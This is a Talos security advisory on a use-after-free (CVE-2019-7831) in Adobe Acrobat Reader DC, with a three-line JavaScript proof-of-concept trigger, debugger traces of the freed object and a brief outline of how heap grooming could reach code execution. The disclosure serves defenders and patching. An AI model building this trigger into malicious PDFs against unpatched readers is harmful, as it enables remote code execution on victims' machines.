Talos Vulnerability Report

TALOS-2019-0796

Adobe Acrobat Reader DC app.thermometer Remote Code Execution Vulnerability

May 14, 2019
CVE Number

CVE-2019-7831

Summary

A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2019.10.20098. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2019.010.20098

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Adobe Acrobat Reader is the most popular and feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. One method call required to trigger this vulnerability is privileged and can only be called from trusted functions or from a trusted location.

A use after free vulnerability can be triggered by using an undocumented FormWorkflow.setFormFolderForMultipleForms function with an app.thermometer GUI element. The following code triggers the allocation, freeing, and reuse of the freed object:

try { this.FormWorkflow.setFormFolderForMultipleForms("testing",app.thermometer,0);  } catch(e) { }
try { app.activeDocs[0].getField('txt1').signatureGetModifications(app.media.windowType); } catch(e) { }
try { app.alert(app.thermometer); } catch(e){app.alert(e);}

In the above code, the first line calls an undocumented function FormWorkflow.setFormFolderForMultipleForms with app.thermometer as a second parameter. This, as a side-effect, allocates an object and affects app.thermometer. Object app.thermometer is a sort of progress bar that is to be displayed to a user while something dynamic is happening with the document. Second line, although not directly related, frees the previously allocated object as a side effect. Accessing or manipulating the app.thermometer object in the third line then reuses the freed object causing memory corruption. This can be seen in the following debug output:

0:000> .childdbg 1
Processes created by the current process will be debugged
0:000> sxe ld EScript.api
0:000> g
...
C:\Users\b2148\AppData\RoamingModLoad: 62cc0000 62f6d000   C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for AcroRd32.exe - 
eax=00000000 ebx=2d81af54 ecx=00000004 edx=00000000 esi=ffffffff edi=330eef70
eip=00d316dc esp=00cfc194 ebp=00cfc1e4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
00d316dc c22800          ret     28h
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - 
1:005> bp EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0004cd2a
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api - 
1:005> g
Breakpoint 28 hit
eax=3e7d8fb8 ebx=3e814fb8 ecx=3e814fb8 edx=62e64420 esi=2dad7fc0 edi=00000000
eip=62d73be2 esp=00cfc99c ebp=00cfc9a4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a:
62d73be2 e8d497f8ff      call    EScript!mozilla::HashBytes+0x2dbc5 (62cfd3bb)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - 
1:005> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00cfc9a4 62cfcbc7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a
01 00cfca18 62d01435 EScript!mozilla::HashBytes+0x2d3d1
02 00cfca48 62cf6b7f EScript!mozilla::HashBytes+0x31c3f
03 00cfcad8 62cf6560 EScript!mozilla::HashBytes+0x27389
04 00cfcb1c 62cf30a6 EScript!mozilla::HashBytes+0x26d6a

1:005> dd eax
3e7d8fb8  2dad7fc0 35f29678 00000000 463ecfb0
3e7d8fc8  2d1d4f80 2df3cf80 463f6f80 00000000
3e7d8fd8  41b46f80 00000000 00000000 00000000
3e7d8fe8  00000000 62d73c53 c0c0c000 00000000
3e7d8ff8  00000000 00000000 ???????? ????????
3e7d9008  ???????? ???????? ???????? ????????
3e7d9018  ???????? ???????? ???????? ????????
3e7d9028  ???????? ???????? ???????? ????????
1:005> !heap -p -a eax
    address 3e7d8fb8 found in
    _DPH_HEAP_ROOT @ db1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                3e031ccc:         3e7d8fb8               48 -         3e7d8000             2000
    66c6abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7730246b ntdll!RtlDebugAllocateHeap+0x00000039
    77266dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77265ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77265d3e ntdll!RtlAllocateHeap+0x0000003e
    76711406 ucrtbase!_malloc_base+0x00000026
    62cfa7b8 EScript!mozilla::HashBytes+0x0002afc2
    62cfd187 EScript!mozilla::HashBytes+0x0002d991
    62cfc609 EScript!mozilla::HashBytes+0x0002ce13
    62cfc3b5 EScript!mozilla::HashBytes+0x0002cbbf
    62d73e49 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0004cf91
    62d73bd8 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0004cd20
    62cfcbc7 EScript!mozilla::HashBytes+0x0002d3d1
    62d01435 EScript!mozilla::HashBytes+0x00031c3f
    62cf6b7f EScript!mozilla::HashBytes+0x00027389
    62cf6560 EScript!mozilla::HashBytes+0x00026d6a
    62cf30a6 EScript!mozilla::HashBytes+0x000238b0
    62cf0606 EScript!mozilla::HashBytes+0x00020e10
    62cf0517 EScript!mozilla::HashBytes+0x00020d21
    62cf0460 EScript!mozilla::HashBytes+0x00020c6a
    62cd8ec3 EScript!mozilla::HashBytes+0x000096cd
    62d187ac EScript!mozilla::HashBytes+0x00048fb6
    62d184ec EScript!mozilla::HashBytes+0x00048cf6
    62d180e5 EScript!mozilla::HashBytes+0x000488ef
    62d170b4 EScript!mozilla::HashBytes+0x000478be
    62d885e9 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x00061731
    6575da6f AcroRd32!AIDE::PixelPartInfo::operator=+0x0010536f
    6568723a AcroRd32!AIDE::PixelPartInfo::operator=+0x0002eb3a
    6568345e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002ad5e
    6545002d AcroRd32!AX_PDXlateToHostEx+0x001ff9b5
    6545057c AcroRd32!AX_PDXlateToHostEx+0x001fff04
    65686e8e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002e78e

In the above output, we put a breakpoint right before calling a function where the object is first used. PageHeap shows us an object of size 0x48 allocated at 0x3e7d8fb8. This breakpoint is hit after the first line in the PoC is triggered. As the second line causes an object to be freed, when the same breakpoint is hit after the 3rd line is executed we see:

Breakpoint 28 hit
eax=3e7d8fb8 ebx=3e814fb8 ecx=3e814fb8 edx=62e5f4bc esi=2dad7fc0 edi=00000000
eip=62d73be2 esp=00cfc99c ebp=00cfc9a4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a:
62d73be2 e8d497f8ff      call    EScript!mozilla::HashBytes+0x2dbc5 (62cfd3bb)
1:005> dd eax
3e7d8fb8  ???????? ???????? ???????? ????????
3e7d8fc8  ???????? ???????? ???????? ????????
3e7d8fd8  ???????? ???????? ???????? ????????
3e7d8fe8  ???????? ???????? ???????? ????????
3e7d8ff8  ???????? ???????? ???????? ????????
3e7d9008  ???????? ???????? ???????? ????????
3e7d9018  ???????? ???????? ???????? ????????
3e7d9028  ???????? ???????? ???????? ????????
1:005> !heap -p -a eax
    address 3e7d8fb8 found in
    _DPH_HEAP_ROOT @ db1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   3e031ccc:         3e7d8000             2000
    66c6ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77302ca1 ntdll!RtlDebugFreeHeap+0x0000003e
    77263c45 ntdll!RtlpFreeHeap+0x000000d5
    77263812 ntdll!RtlFreeHeap+0x00000222
    7670f43b ucrtbase!_free_base+0x0000001b
    7670f408 ucrtbase!free+0x00000018
    64f27a9f AcroRd32!AIDE::PixelPartInfo::~PixelPartInfo+0x00002d1f
    65379279 AcroRd32!AX_PDXlateToHostEx+0x00128c01
    6536be1f AcroRd32!AX_PDXlateToHostEx+0x0011b7a7
    653675a4 AcroRd32!AX_PDXlateToHostEx+0x00116f2c
    65cd43c9 AcroRd32!ixVectorNextHit+0x0022f77e
    65ccfe32 AcroRd32!ixVectorNextHit+0x0022b1e7
    65ca1eb9 AcroRd32!ixVectorNextHit+0x001fd26e
    6536b4c0 AcroRd32!AX_PDXlateToHostEx+0x0011ae48
    6536c6ad AcroRd32!AX_PDXlateToHostEx+0x0011c035
    6536a0be AcroRd32!AX_PDXlateToHostEx+0x00119a46
    65242796 AcroRd32!DllGetClassObject+0x00000871
    65cd40ac AcroRd32!ixVectorNextHit+0x0022f461
    656ae0ce AcroRd32!AIDE::PixelPartInfo::operator=+0x000559ce
    62d839c5 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005cb0d
    62d11fe9 EScript!mozilla::HashBytes+0x000427f3
    62cf6d06 EScript!mozilla::HashBytes+0x00027510
    62cf175d EScript!mozilla::HashBytes+0x00021f67
    62cf0606 EScript!mozilla::HashBytes+0x00020e10
    62cf0517 EScript!mozilla::HashBytes+0x00020d21
    62cf0460 EScript!mozilla::HashBytes+0x00020c6a
    62cd8ec3 EScript!mozilla::HashBytes+0x000096cd
    62d187ac EScript!mozilla::HashBytes+0x00048fb6
    62d184ec EScript!mozilla::HashBytes+0x00048cf6
    62d180e5 EScript!mozilla::HashBytes+0x000488ef
    62d170b4 EScript!mozilla::HashBytes+0x000478be
    62d885e9 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x00061731

1:005> k 10
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00cfc9a4 62cfcbc7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a
01 00cfca18 62d01435 EScript!mozilla::HashBytes+0x2d3d1
02 00cfca48 62cf6b7f EScript!mozilla::HashBytes+0x31c3f
03 00cfcad8 62cf6560 EScript!mozilla::HashBytes+0x27389
04 00cfcb1c 62cf30a6 EScript!mozilla::HashBytes+0x26d6a
05 00cfcfe0 62cf0606 EScript!mozilla::HashBytes+0x238b0
06 00cfd028 62cf0517 EScript!mozilla::HashBytes+0x20e10
07 00cfd064 62cf0460 EScript!mozilla::HashBytes+0x20d21
08 00cfd094 62cd8ec3 EScript!mozilla::HashBytes+0x20c6a
09 00cfd0dc 62d187ac EScript!mozilla::HashBytes+0x96cd
0a 00cfd158 62d184ec EScript!mozilla::HashBytes+0x48fb6
0b 00cfd30c 62d180e5 EScript!mozilla::HashBytes+0x48cf6
0c 00cfd358 62d170b4 EScript!mozilla::HashBytes+0x488ef
0d 00cfd3f0 62d885e9 EScript!mozilla::HashBytes+0x478be
0e 00cfd448 6575da6f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61731
0f 00cfd468 6568723a AcroRd32!AIDE::PixelPartInfo::operator=+0x10536f

We can observe that eax is still the same pointer, but now pointing to invalid memory. PageHeap also confirms this, showing where the object is freed. Continuing the execution leads to the following crash:

(22d4.11ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3e7d8fb8 ebx=3e814fb8 ecx=46ff2ff0 edx=62e5f4bc esi=46ff2ff0 edi=00000000
eip=62cfd3d2 esp=00cfc988 ebp=00cfc994 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
EScript!mozilla::HashBytes+0x2dbdc:
62cfd3d2 8b4004          mov     eax,dword ptr [eax+4] ds:002b:3e7d8fbc=????????

Notice that eax is still the same and the process crashed due to read access violation. Without PageHeap, by making additional allocations between 2nd and 3rd line in the PoC , we can place another object in place of the freed one. With precise control over the allocated object, this could lead to further memory corruption, information leaks and ultimately arbitrary code execution.

Timeline

2019-04-10 - Vendor Disclosure
2019-05-14 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.